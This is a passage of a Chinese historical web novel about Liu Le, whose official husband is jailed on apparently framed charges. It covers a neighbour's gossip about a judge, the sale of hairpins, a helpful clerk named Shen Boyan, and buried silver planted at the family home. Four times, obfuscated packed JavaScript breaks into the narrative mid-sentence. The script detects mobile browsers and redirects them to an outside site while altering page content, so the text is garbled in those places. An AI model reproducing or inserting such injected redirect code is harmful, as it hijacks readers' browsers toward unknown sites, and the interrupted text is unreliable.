柳乐便问：“里头一共关着多少人？” “多时有两三百，如今只怕也有一百来个。你别愁，你丈夫有官职，又有个绝色的妻子，还有什么不足，怎么可能干出犯法的事，自己把自己往牢里送？肯定就是诬告，等着方大人匀出工夫，为你们做主就是。” 说着，张氏忽地拿手往腿上一拍，压低声音道：“我晓得了，你说平民百姓，谁敢去诬告官儿呢，肯定是个更大的官儿。娘子莫怪，我猜会不会是哪个看上了你，故意把你官人陷在牢里？” 柳乐吃了一惊，想这张氏人虽热心，想法实在荒唐可笑，不快地说：“我知道嫂子并非取笑我的意思，不过嫂子想岔了，肯定不是因为这个。” “我说娘子莫要见怪，我也是胡乱猜猜，不是便不是。”张氏赔笑说，“反正有方大人在，你就不用担心，别看他年纪不大，断案最公正不过，哪怕是当朝大宰相害你，他定也断得明明白白，不会放了恶人，冤了好人。” 柳乐默然不语。嘴巴爱说的人，起了话头不容易刹住，张氏不管柳乐耐不耐烦，又道：“不瞒娘子，我那汉子就是在方大人手里问了罪，被关进去，我一样还服他大人，一样说他好。你听听这件官司，就知道了。 “这官司本不是告我丈夫，告的是个闽南来的商人，他卖货，我家那个在里头做个中人，也叫一起告了。是这么着：那商人从闽南贩货过来，在京里卖掉，又从京里贩货，回家去卖，走这么两趟。谁知他人先来到京城，跑去勾栏院，看中一个表子，这可就花钱如海水一般，把预备着在京里办货的银子都花了个干净，他又想给这表子赎身，娶回去做老婆——他家里就他一个了，要有父母高堂管着，敢这么胡来？碰见这么个冤大头，那老鸨子当然要狠敲他一笔，他拿不出钱，也没心思做生意，就要把他闽南来的货整个倒给人，说原本能卖两千两，因为着急只要一千。我男人稀里糊涂给他骗去，帮他找了几个凑钱开铺子的，这些人先拿出二百两定钱给他，又写了八百两的文书，只等货船到了，在码头上交割。 “船到之后，一边收了钱，一边拿了货，我丈夫得了二十两中人钱，本来事情就完了，谁知那几个开铺子的回去后，发现只有当面打开看的几个箱子里是上等东西，其它都是些烂木头，卖不出的次货，他们几个本也是穷苦人，合伙凑钱找这个营生，哪里肯吃亏，就告到方大人这儿，所幸那商人刚赎出表子，还要置办些回去成亲的家当，一时还没走。方大人立即就把他提了来，商人只管抵赖，说是船上伙计做的手脚。把几个伙计提来一问，原来都是他家里的伙计，在半路就得了商人的信，要他们把好货先卖掉，又买了些次货假充，专为了骗人，一批东西卖两回钱，都花在表子身上了。 “这商人叫自家伙计供出来，还不认，说从没给过信，伙计也拿不出信，因为信上说看过后立马烧掉，伙计听家主的，自然就照办了。眼看说不清楚，这时候就见出方大人英明，他说事情都因表子起，只把她拿来问问，就把那表子唤来，才夹了一夹棍，哭天喊地都一一招出来，说商人对她说有办法弄来银子，总共给了她多少多少银子，正合着卖货的钱数，那商人无话可对，只好招认了。表子仍回勾栏院，赎身的银子拿回来赔开店的几个人，伙计们各打了十板子，令他们回家。我丈夫要赔中人银子，可他本来欠着帐，已把那二十两用了，还不出，所以也给关进监里，我一个没营生的妇道人家，往哪里凑钱去，让他关着罢，看他以后还随便给人做保不做？那个奸商是正经问了个徒罪，打了四十板，下到狱里，不准拿钱赎罪。这人长得倒清秀，姑娘似的一身细皮嫩肉，那牢狱日子可挨不过，老天报应，不上一个月就染病死了。娘子你看，方大人这案子断得清爽吧？” 柳乐蹙起眉：“我听着却还糊涂：既是货物买卖的官司，该把交易中经手、经眼的人找来一一核对，却把个不相干的女子拿来用刑，是什么道理？” “怎么叫不相干，要是没她，哪来这些事情？”张氏惊诧地叫起来，忽地眨几下眼睛，又对着柳乐笑，“娘子放心，对良家女子，方大人向来敬重，别说动刑，除非非去不可的时候，也不会提你上公堂，丢你的脸面。” 柳乐严肃地答道：“不能如此说，女子当然也上得公堂，没做坏事怕什么丢脸，若是与我相关，我希望能当堂分辩！只是这位女子，怎见得她一定知道商人卖货以次充好？要让我受刑，我也受不过，那时胡乱说出来的话怎能算罪证？” “哎呀，她与你当然不一样。她是个娼妓祸水，只管勾人吸血，害别人倾家荡产、夫妻反目，别说她供词是真的，就算这次没她的事，也该罚一罚她。” “她们卖身多是受迫，并非自己要做祸水，至于夫妻不和，更该怪追欢的男子。再说这位女子有心向好，愿意从良，已经赎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15092365|163669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出身，为何又把她推回火坑？”柳乐冷声道。 张氏撇着嘴道：“依你说，这桩案子从头至尾是方大人断错了？” “案子的来龙去脉我不知道，不敢说。”柳乐摇摇头，“我只是觉得断得太鲁莽。若是听过证词，寻出破绽，然后明察暗访，得了实据，这才算英明。可是拿一个柔弱女子用刑，这不叫严刑逼供吗，能见出什么真本事？断案都是这样，我也能断，一天断百八十件也来得。” “方大人一眼就能认出好人歹人，这还不算本事？你呀，莫是听见我说商人样貌好，便以为他心也好？要说这商人确实斯斯文文不像是狡诈人，所以我丈夫才吃了他的哄，总算方大人年纪不大，人不糊涂，不听他瞎话，叫表子来问，一问不就问出来了？他们这些经商的都一个样：一门心思低买高卖，赚那黑心钱；表子更不必说，哪里是真心从良，不过是图谋钱财，贪富贵舒服，等到把子弟刮得穷了，她还愿意守着他？——你要拉她出火坑，她自己还寻着要往回跳呢。一个只管贪财，一个贪财好色，两个人撞在一处，能撞出什么好事来？他两个都是好人，倒是他自家的伙计好端端害他不成？” “怎知一定不是伙计？他们说有封信，又拿不出来。” “怎么会是伙计？”张氏急得直拍大腿，“我不知你们斯文人嘴里如何说，不过‘天下老鸹一般黑’、‘无商不奸’这话总是有的吧？伙计除了爱偷懒，我就没听见有什么话编排他们的。” 柳乐差点都要笑了：“话虽是有，但要依着它，干脆把天下的商人一股脑全投进牢里岂不好？” “可不是全都该关进去，只不过没那么多像方大人这样的官罢了。” 柳乐正色道：“就算是九十九个都坏，也可能有一人好。真正的好官该仔细断案，别把那一人错关进去。” 张氏愣了一会儿说：“谁说方大人断案不仔细了？他断得明白着哩。他不像别的官儿，就爱向着那些有钱的、有貌的、有官职的。” “怎么有钱有貌有官职还成罪过了？” 妇人不屑地瞅瞅柳乐，显然这时已将她也看作奸商、贪官一路人，撇嘴说：“你这娘子看来聪明，原来也恁地糊涂。哪个官府不是向着富贵老爷，欺负贫苦百姓，要不是方大人肯出这么一个法儿，案子还不得断呢。若换别个老爷，看几个穷汉子敢来告状，先就打一顿板子；就算告成了，也是故意慢慢审，浪费许多工夫，为叫你拿钱来，一来二去就让奸商拿钱买通了。方大人可不比别个，在他跟前，谁也别想拿官势、拿银子压人。还不止我说的这一件呢，你去问问，方大人办的案子，多是不让穷人吃了亏的，不然有那么好些人夸他？” 柳乐见她分理不清，也就不愿与她较真，借口家中有事便走了。后来再遇上时，柳乐倒没什么，那张氏只管把头一扭，当作没看见，柳乐哪有心思和她交道，便再不去理会了。 15. 铁矿和金簪 自打计晨、计春相继被拿去，计衔山病倒，家里只剩婆媳三人和一个未出阁的姑娘，急切间寻不着门路。幸而计晨在同年、同僚间颇有几个熟人好友，搬家前，有几位约了一起来望慰计衔山，都言计晨为人廉约小心、一心奉公，此番必是错拿，又自告奋勇要去衙门，联名为计晨作保，一家人感激不尽；计衔山自己挣不起身，口授了几封书，赶紧要管家送去，托人设法；高娴则在亲友中乱抓，也不看对方是不是能办事的人，只管当作救命稻草；柳乐便找柳图。如此，人情寻了一二十个，四处奔波了几日，按说事情该了结了一半，至少也能得知个详细情由、案子轻重大小，谁知不光计晨，连计春都见不到面，案情更是一团雾。 初时，大家都言之凿凿，只道半月为限，人一定放出来，隔一二日便没了声息，再问则含含混混、语焉不详，或是拿些空话打发过去，再以后，不约而同地，所有人都躲着计家，只除了柳图。 不觉半个月过去了，到了中秋。这时，柳乐的父母俱已知晓，柳乐偶尔也回娘家一趟，宽慰宽慰爹娘。 中秋当天，柳乐白日里去看了看父母，当时柳图出门去了，没有见到。到了傍晚，柳图又跑来计家，送了些果饼，陪计衔山坐了一小会儿，出来向柳乐丢个眼色。 柳乐送哥哥出门。各家各户都正在院中布置席面，预备吃酒赏月，街上没什么人，两人就在墙下站住了。柳图向柳乐转过身，眼睛却瞄着街对面，紧紧攒着眉，说：“我早就想过了，定不是为贪贿的事。贪几个钱算什么，哪有做官儿不捞的，何况在这种肥差上，真要论起来，哪个手上干净？只要别太过，事办好，睁只眼闭只眼就过去了。” “晨大哥没有做。”柳乐说。 “我知道，我意思是说不为那些。你听我说，”柳图弯下脖子，将声音压得更低，“不止是那样简单。我听见说，为了修坝要凿山采石，可那山上采出的不是普通石头，是铁矿。那边隐瞒不报，只用一部分石头填坝，其余的炼出铁来。他们有一条道路能把铁偷运出去，卖到邻国。这可是谋——”柳图不敢把那个词说出来，只拿手比了个铡刀的动作，“这是大罪，要是计晨真有牵连，那……” 柳乐猛一下抬起头，一张脸苍白得像刚刚从胡同底冒出来、光芒还微弱的月亮，“晨大哥未必认得铁矿石，或者人家没让他看见。” “认得不认得，看见没看见，卷进了这种事岂能轻易脱身？若是别的，还能想想办法，这个，再往上求也没路，就是告到皇上跟前，也是要查出个详细。” “就是要他查个详细。晨大哥肯定不是有意参与其中，案子大也好，小也好，有就是有，无就是无，只要审明白不就行了？” “不好查啊，只怕后头……”柳图说了几个字便不吭声了。过了一会儿，柳乐又问：“哥哥是从哪儿听到的？” 柳图摇摇头：“你就别问了，先前我拼命打听，打听不出，这回是别人找上我透露出来的。” 他朝巷口一望，忽地大声说：“娘和你嫂子两个做了不少月饼，核桃仁、枣泥都有，你爱吃的豆沙馅，上面是个大兔子花样。”原来有人拐进了巷子，虽说还远着，但柳图直等人家进了院子，闭上门，这才看着柳乐。他仍是满面担忧，但用轻快的语气宽慰说：“我想，这里头的情形能让我知道，足见对我、对咱们柳家还是信任的，这何尝不是个提醒之意，说明上头愿意对你开恩。毕竟认真算起来，你与计晨也就刚刚成亲一日，纵有什么，你也不知情。要不然……你还是回家来，万一将来牵连了你，把你做个罪眷论处……” “哥哥！你这是何意？”柳乐不禁叫起来。 “小点声，小点声。”柳图急得在原地转圈，四面去看。 柳乐急迫而又严肃地说：“我哪里不知情，我心里清清楚楚！你说的这些晨大哥都没有做过，不用说什么通敌谋逆叛国，怀不臣之心，只说贪求非分之物，这就不是他的为人。至于我，一年也好，一日也好，一刻也好，反正我已是嫁了他。如今我的丈夫受人诬陷，要我抛下他，这不是我柳乐的为人。哪怕不能为他伸张冤屈，至少我要和他站在一起。哥哥不必左右为难，就算真有事，我是嫁出去的女儿了，说什么做什么，都与柳家不相干。” 柳图见她真格动起怒来，急忙又劝说：“你别和我一样，听见风就是雨。我这不是今天刚听说，怕你着慌，先来告诉你一声。其实还远不到那一步，我也想着计晨不会有事。你不怕就好——咱们行得正，坐得端，怕他怎的？行了，你进去吧，先不用对你公婆讲，省得他们又多一层惊怕。我看你公公身子还没大好，你多劝劝他，让他安心保重，还有我呢，我绝不会撂下不管。过一两日我还来。”他拍着胸脯走了。 柳乐听了哥哥带的消息，没有对人说，也没有显出惧怕——她心里并不怕，反倒是憋了一口气。最初，她进出衙门时还羞羞怯怯，觉得路过的人都盯贼似的盯着她看，过上几日，胆子便大了许多，如今更是昂首挺胸，仿佛要向那些不管事的官员兴师问罪一般。 大理寺她早已走得熟了，也陪高娴去过几回府衙，又回计家原来的宅院询问过几次——过了这么多天，还回宅子的话丝毫没见提过，也不许她们进去，若要拿东西，需开列清单，送去给不知什么人审批，批了里面才慢慢地找，找到了才送出来。 董素娥想取几件衣物，哪好意思细写在纸上，只得作罢了。为此，有些急切要用的物件只好重新去买，渐渐就有些不凑手。 本来计家家里放着的现银并不很多，每月父子三人关了薪俸来，大半都交给董素娥，她留出日常吃用后，剩下的便拿出去让人在乡下置田地。原本手头有百余两银子，租房外加被小厮拐骗，去了一笔，连日来为官司上下打点，又是一笔，现下急忙寻不出钱用，董素娥只好派管家到乡下田庄上去一趟，卖几亩地换些银钱。 计晨走之前，从衙门预先支借了几个月的薪水，除去路上盘缠，都留给了柳乐。要论俭省，柳乐自命不输董 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15092366|163669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 素娥，可谁知钱会这么不经使，像流水一样握不住！不知不觉间，不光计晨留下的，连柳图给她的也全都用去了。看见董素娥卖田，柳乐灵机一动，去银楼里，拔下头上三支金发簪交给店伙：“给我换成鎏金的。” 那是两支一点油、一支茉莉头簪子，伙计上戥子称一称，共重一两四钱二分。因都是简单、常见的式样，立即便拿来几支相近的镀金银簪，又补出十五两银子。 柳乐算算差不多，收了钱，发簪原样插回头上，拉着巧莺走出来。 巧莺嘟噜着嘴：“好好的东西，换它做什么。” “横竖都是绾头发，又没分别。” “分别大了，姑娘那几支比他们的做得精细。这一卖，手工钱就亏给人家了，还不如先当了，以后再赎。” “当铺里连这一半都当不出，算了。”柳乐叹口气，“精细不精细，插在头上，又没人瞧得出来。” “拿在手里就知道了，掂一掂就晓得不是金子。”巧莺不服气地说，“今儿金换银，明儿银换铜，姑娘身上能有多少油水，经得住这么刮？怎么不见计姑娘去换？姑娘没钱使，该向计太太去要，姑娘又不是自己花，都是为了姑爷，不信她舍不得拿出来。” “你别胡说。晨大哥这两年才领薪俸，钱数我又不是没算过；先前一家子全靠老爷和计春大哥，能攒下多少银子？——买房置业、买东买西都花净了，确实手上没有。要不然太太怎会卖地，最好的一片地都卖了，恐怕还不够使——如今使钱的地方太多，太太愁得不得了，我怎么向她开口要。” “我也是，还指望她拿？”巧莺鼻子里笑了一声，“这会儿我想起来了，那天吃饭时，我看她拿眼瞅姑娘的镯子，明明计姑娘手上也有，还好几只呢。” “她的那几只不重，还顶不了我这一个。“柳乐辩道，不由掀起一点衣袖，低头去看，一对绞丝麻花金镯子好端端套在腕上，这是她母亲江岚当日的嫁妆，等柳乐成亲时又给了她。 另外，她头上还有一支凤头金钗，是计晨送的定亲礼。凤口衔一串四粒珍珠，一粒比一粒大些，最下面一颗已有豌豆大小，又挂下一穗金流苏，摇摇曳曳，十分华丽。这些东西柳乐平日本都不戴，可自打前日小厮偷拐银钱一事出来，她觉得东西放在家里绝不保险，于是打了个小包袱随身携着，后来干脆把能戴的首饰都戴在身上。 这虽是防盗之举，却还有另一重作用：她早已发现，衙门上那些门子小吏最是有双势利眼睛，只认衣衫不认人的，看她插金带银，便当作身份非富即贵，热心给她指点，虽说未必帮得了忙，至少态度上不使人那样难堪。 想想世人真有点儿可笑，无非是些金银、石头，却将它看作仙物宝符一般，仿佛有它装点，便能把人照耀得光辉无比。不过她自己也喜爱首饰，喜爱它们的精巧、美丽，更看重里面藏着的一份情。她又隔袖摸了摸手镯，金子压在腕上沉沉的。柳乐心里踏实了些，有力地摆摆手，“我不会再卖东西了。” 16. 同榜和罪证 柳乐去大理寺这么多回，早已经对那位少卿方大人死了心，知道见不着他。可她还是一日日往那边跑，一是因为更不愿待在家里——董素娥的脾气愈来愈坏了，而她实在找不出新的话去安慰；二是因为还存着些希望，兴许哪一次就能得到计晨的只言片字，只要计晨还在大理狱关着，她便一日也不敢错过。 这天柳乐又来大理寺，转了一圈还没找见个说话的——如今这些官吏们见了她都怕，低着头垂着眼匆匆就走了，而柳乐再勇敢毕竟是当闺秀养大的，不会放刁撒泼，不能上去扯住人家，只好站在一旁瞅空子。 不一会儿，屋内出来个年轻官人，看见她一愣，就立住向她脸上端详。 柳乐觉察到了，扭头去看那人，瞧他的样子像是在此处做事，她却从来没有见过。对方见她看过来，脸面立即红了，刚抬起步，却忽地转身退回到屋内。 柳乐以为这又是一个怕惹事躲躲闪闪的，但等她找别人扑了个空，再出来时，这青年却候在刚才的屋子门口，上前说：“是计家夫人吧，学生姓沈，贱字泊言。若不嫌冒昧，请借一步说话。” 他手指身后的屋子，柳乐便跟了进来。沈泊言忙请她坐下，又请巧莺坐了旁边另一把椅子，倒来两杯茶奉给二人，对巧莺说：“请姐姐稍坐片刻，在下与你们夫人说几句话。”说着他掇一张杌凳在斜对面坐了——屋子很小，不然他肯定还要坐得更远——低着头，不自在地清了清嗓子。 “敢问夫人娘家贵姓？” “姓柳。”柳乐答。 沈泊言问完一句，脸上已经红透了，好像一时再难找出话来说。 柳乐把他瞧得清楚，见他年纪不过二十出头，面容端正，穿件褪了色的旧衫子，但打扮得很是干净整齐，看来是个朴实的人，便问道：“多谢大人款待，大人想必清楚我是为家夫一事来？” 沈泊言见柳乐先开口，似乎大松了一口气，回答说：“在下仰慕计年兄久矣，适才看见柳夫人，仓促间有失迎迓，望柳夫人恕罪。” 柳乐歉然道：“恕我方才无礼，没认出沈大人是家夫的朋友。” “不敢，不敢。”沈泊言急忙摇手，脸又红了几分，“在下不敢和计年兄论相知。在下忝与计年兄同榜，才学却差得远了。如今在下忝居主簿微职，不敢当柳夫人这等称呼。柳夫人有何见教，尽管吩咐，俱在在下身上。” 柳乐心头一热。这段日子她几乎处处碰壁，遭人冷眼，这才算是头一回遇到个亲切有礼、确实愿意帮忙的人。 她见沈泊言垂首僵僵坐在那儿，十分不自在，又看他年纪甚轻，便改称沈公子，说：“沈公子见笑，我是为打听家夫案件而来，奈何过去许久，仍未得到半个有用的消息，不免心焦。” 沈泊言说：“夫人莫急，在下前些日子随上司往外地办差去了，昨日刚回来，也是刚刚才得知计年兄的事，暂时还未看到案卷。在下这就去想办法，若柳夫人明日再来……” “家夫当真是在这儿关着？你能不能见到他本人？”柳乐着急地打断他。 沈泊言抬头吃惊道：“计年兄是在这儿，恕在下匆忙未及拜见。柳夫人何故怀疑？” “因为不许我们家里人见他，也不让传话、送饭食，只说他单独关着，有人照料饮馔，到底是口说没影的事儿，我也不敢相信了。” 停了半晌，沈泊言说：“这实在是敝处失当，不怪夫人焦急。”忽地他站起身，“不若这样，我现在就去，柳夫人有什么话要捎给计年兄，或者愿写封短书？正好笔墨现成。” 柳乐也跟着站了起来，她没料到沈泊言如此热心，肯为她捎话，一下子竟想不出要对计晨说什么。 沈泊言见她默然不语，又说：“请柳夫人恕在下唐突，柳夫人不必多虑，在下向来钦佩计年兄的人品和学识，年兄一时患难，在下当尽绵薄之力。柳夫人的手书在下一定趁无人时送到年兄手里，若实在得不着机会，仍旧原封退还。” 柳乐微微摇头：“不必传书了，沈公子大概还不知，他们对家夫看守得很严，书信多半是交不到他手上。若有机会，请沈公子为我带一句话吧，就说家里都好，请他放宽心，勿要先自担忧。——这也不多重要，沈公子总是小心为上，别让人瞧出不妥。” “谢柳夫人提醒，在下晓得了。”沈泊言郑重答应，“正好在下有别的事也要去那边一趟，到时相机行事，若无人，在下过去对计年兄说一两句话，若旁边有人，在下便不去跟前，只瞧见计年兄安好便是，后面再从长计较。——这里没人来，请柳夫人少坐片时，在下快去快回。” 说完，沈泊言立即走了出去。巧莺小声向柳乐说：“这位沈公子好像是个热心肠的好人。” “是。”柳乐点头，“不知他是不是还不清楚案子是怎么一回事，就怕他知道了，也像别人一样躲着避嫌，我们又是空高兴一场。”说着她勉强笑了一笑，“失望了这么多回，把人都看得坏了，其实原本人家也没必要帮我们。” 巧莺沉思着说：“我总感觉在哪里见过这位沈公子，又想不起来，奇怪。不过他也认得姑娘，姑娘记得起吗？” “我们没见过，他可能是从别人嘴里听到的。”柳乐摇摇头，将屋子打量了一番。这里大概是沈泊言平日办公之处，靠北墙立着一只竹制简易书格，四层上面都堆满了文书，虽然整齐，但也看得出是匆忙间做过一番整理；她和巧莺坐在南面，两张竹椅十分蹩脚，稍微动一动就要咯吱乱响，且式样还不同，恐怕一只是由别处临时借了来的，背后的一张长桌同椅子一般做工粗陋，不过擦抹得很光亮，桌上有一只小小印盒，几张白纸，砚中盛着新墨，蘸了墨的毛笔架在砚沿上——本来他正在书写，却把手头的公事打断了。柳乐不禁有些奇怪，这位沈公子看来比计晨小二、三岁，又是同榜，可见年纪轻轻却才华了得。他口里所说的钦佩等话是通常的谦逊之语，作不得真，他与计晨互不相识倒可能是确实，——他究竟为何这样热忱？ 她与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“那请柳夫人先回，在下再悄悄打听一下，明日柳夫人来时，还来这里找在下。” 柳乐感激不尽，“沈公子千万谨慎些，万不要因此累你被人责怪。” “请柳夫人放心，我有办法。”沈泊言自信地说。 终于巴到第二日下午，柳乐按时到了大理寺，径直来见沈泊言。沈泊言与前日又不同，只简短地招呼了一声，将她们让进屋，脸上便恢复了严肃的神色，回身把门半掩了，急忙地说：“今日上午才得到的消息，好像是在尊府上找到了些东西。” “找到了什么？”柳乐惊愕问道。 “这个在下还不知，找到的物品没送来大理寺，在下猜测是刑部收了去。在下还听到风声，荥阳那边几个人已经到京，并且押到刑部了。在下想，这件案子可能不会在大理寺审，如此看来，计年兄恐怕很快也要去刑部。” “在家里搜出了罪证？”柳乐又问一句，想不出会是什么，瞠目对着沈泊言。 17. 马车和银锭 “柳夫人别急，多一半是搜查的人生疑，实际并不相干。不过在下对刑部不熟悉，怕后面的事难以打问，答应柳夫人面见计年兄，恐怕也只好食言了。”沈泊言面带愧色道。 “沈公子别这么说，若非公子鼎力相助，此时我还心慌意乱，不知头脑。——到了刑部，或许让我们见他也不一定。”柳乐镇定地笑一笑，其实心中却也不免着慌。 “柳夫人能这样想便好。”沈泊言说，“在这儿我也没帮上忙，案子去了刑部，至少审理是在眼前了，免得柳夫人日夜悬心。我也还会再想想办法，看有没有望在一二日内见到计年兄。” 柳乐问：“家夫最近一两日就去刑部吗？” 沈泊言点点头：“应该不出三日。” “那沈公子看，若我明日去刑部，是否可以知道搜出的物证是什么？” 沈泊言未及答话，一个小吏走进来，他皱了眉，刚要开口，那人上前，附在他耳边说了几个字。 “要见我？”沈泊言吃惊道。 “李大人要你立即去。”那小吏板着脸说。 沈泊言只好起身向柳乐致歉：“上司吩咐我去一趟，劳柳夫人等候一会儿。” 柳乐连忙答应，请他快去。 谁知沈泊言这一去去了好久，三刻钟后还不见回来，柳乐怕他是被公事绊住了，又放心不下搜查一事，和巧莺商量，预备留张字条，明日再来。 她低下头正要写字，又一个小吏推门进来，“沈大人说今日有事，不便再谈，劳夫人等候多时，十分抱歉，请夫人先回吧。” “我没什么要紧话了，请沈大人千万别不过意。”柳乐塞给小吏几钱银子，“我们这就要走，烦你替我向沈大人致谢。” 事不凑巧，柳乐只得垂头从大理寺出来，却见门前正正中中的位置，停着一辆马车，看样子已停了一段时候，还打算再停下去，因那车夫弯着身抱着腿，正把脸埋在膝中休息。 柳乐注意到这辆车是因它停得实在大模大样，平时若有人乘车来大理寺，下车下得稍慢了些，都会招来门子的吆喝，令车子速速驶离，哪怕是来衙门办事的官员临时停车，也会停到后头去，绝不允许谁堵了大门。柳乐看这车子虽寻常，但车夫如此旁若无人，猜他送来的一定是个很大的官，莫非就是因这个才把沈泊言叫了走，可他不是只是个小吏么？ 她乱猜了一猜，心思又转到沈泊言说的话上头：计家住宅被占了这么久，也未听见搜出赃物来，如今倒突然找到了，怕不是差人们为了交差，随便寻了样东西上报。这未尝不是件好事——计家这一向窘迫得狠了，带出来的细软七七八八卖了个净，除了几件万分舍不得离手的首饰，再找不出一件当头，因此全家都盼着宅子早些还回来，若迟几日，只怕家里的东西叫那些人偷偷搬光了。既然搜查已有结果，看他们还有什么不归还的理由。 柳乐越想越气，恨不得立时去乌桕巷瞧瞧，又记起今天是约好要和哥哥见面的日子，正好把这件事告诉柳图。待她回到那赁来的寒伧、败落的院子时，天已晚了，各间屋内却一个人都没有，不过也就喝口水的工夫，管家扶着计衔山，高娴、计晴搀着董素娥，几个人唉声叹气进了门。 “父亲母亲是从乌桕巷回来？”柳乐上前问。 计衔山咳了一声，摇着头进屋去了。董素娥停住脚：“搜出东西了，让你父亲去看是不是咱们家的，他画了押，他们才封起来，拿车拉了走。” “是什么？” “银子，一万两银子。” “一万两银子？”柳乐懵了，“我们哪里来那么多——” 计家父子三人做官，全部的收入就是薪俸加上养廉银，外加几片田地上的地租。和普通百姓相比，他们自然十分富裕，可毋需细想：就算把所有这些收入统统聚在一起，就算这些年全家没花过一文钱，也不可能积起一万两银子。 “你父亲和我都不知，”董素娥无力地说，“他们要再去问春儿和晨儿。” “拿车拉走，是现银？”柳乐着急问道。 “你知道？”董素娥扭头盯着柳乐。 “我不知道，我是想咱们家不可能有，在哪里找到的？” “在花园，说把那个小花园掘了个遍，是从山石旁边挖出来的。” “银子埋在土里？什么样的银子？” “可不是在土里埋着？五十两的大锭子。”董素娥不耐烦了，想要进屋。 柳乐拉住她：“母亲，你想，一万两都是锭子，都要用车来拉，那是多么大一堆，怎么可能瞒着人带进来？这不是晨大哥或计春大哥带回家的。” 高娴忙说：“对呀，我也说不可能，银子拿油纸封着，四只一包，足有五十包，一包包拆开都让我们数了，光看就看了半日。两百锭，一万两，真有这些钱，咱们怎会一点儿不知？” “那怎么从咱家里挖出来了？”董素娥呆了一忽儿，问道。 “肯定是有人事先放进去的。”柳乐冷笑，想了一想，说，“就算一日带一锭，也有两百日，大半年这么久，银子藏在哪里？难不成事先挖好了坑，每日丢进去一块？那么大一个坑，也不是轻易就挖出来。再说园子里经常有花匠等人进出，便是山石后头再不显眼的地方，也不可能成日挖开又盖上而不被发现。母亲，绝对不可能是晨大哥，也不是春大哥。要是没这一万两，我心里还乱乱的，如今反倒有底了。若他们找的就是这一万两银子，那显然是有人陷害咱们——谁指使人把银子放进去，谁就是陷害咱们的人。” “是谁？——咱们可没得罪过人。”董素娥白了脸，嘴唇颤抖起来。 “银子到底是谁先发现，谁挖出来的，若能当堂对证就好了。”柳乐一边思索一边说，心里想着要如何才能抓住这个人。可是一个疑点突然冒出来：只要说从计家挖出了赃银，不论多少，便是千金也够给计晨定罪了。这个要实施陷害的人，拿出三千、五千已经极多，为什么一定要破费一万两？除非他还想传达出一个意思——他对银钱根本不在乎，一万两在他是小意思，而且他还能避开看守，把小山似的一堆银子轻而易举地运进去、埋好。到底是何许人有这般能耐，难道他真的可以压住计家，让他们翻不得身？ 柳乐也打了一个颤。 次日，柳乐先不急去刑部，又去了大理寺，门上人拦住她说：“你找的人刑部提走了，有事请往刑部去。” 柳乐忙问：“沈主簿在不在，能不能请他出来一下？” 小吏道：“沈主簿今日不在，明日也不在。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15092368|163669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “他去哪儿了？”柳乐惊诧道。 “这我可不知。”小吏扔下几个字便撇开了她。 柳乐一愕，感到事情不好：沈泊言初出茅庐，不晓得利害，别因他古道热肠，反害他丢了职，那真令她于心何安？计家到底惹上了谁，要对他们如此赶尽杀绝，连一个毫无干系、只是仗义相助的青年都不肯放过？ 她连手脚都冰凉了，在大理寺外徘徊了一会儿，忽地看见昨日为沈泊言传话的小吏从门口出来，急忙上前。 对方也是径向她走来，近了悄声道：“我就想着夫人这时恐怕过来。——沈主簿要我转告夫人，别在这里耽搁，恐怕没用了，请夫人直接去刑部，计大人和他兄长都已经提到刑部去了。” “沈大人去哪儿了？”柳乐急问。 “庐州府有几件案子，把沈大人派去了，今早上刚走。沈大人走得太急，没法给夫人留书，差我留神看着，等候夫人过来。” “沈大人经常出去办差？每次去多久？” “沈大人出京办差是常有的事。多不过一两个月，这回大概也是。” 柳乐的心这才落下，向他道了谢，转身去探刑部。 刑部的大门比大理寺更宽，院子比大理寺更深，门上的人两只眼睛也吊得更高。柳乐冷眼看着，等柳图过来。她已和哥哥说好，今天就在刑部门口碰面。 过了一会儿，柳图到了，摇着头说：“才刚刚转到这儿来，我还没打听到该找哪位大人，吴大人家里的买办那儿没探到东西。不过管狱的人是叫许冕，有个朋友认识，大概能和他说上话。” “没事，我就去问一问。” 如今柳乐胆气更壮，走上门就问：“计正华和计正辰可是在这里收着？案子归哪位大人管？” “人是在这儿，其它事我们不知。”两个人倒是颇客气地说。 “我们是家人，要去探望，送些衣物，请你二位回许大人一声。” 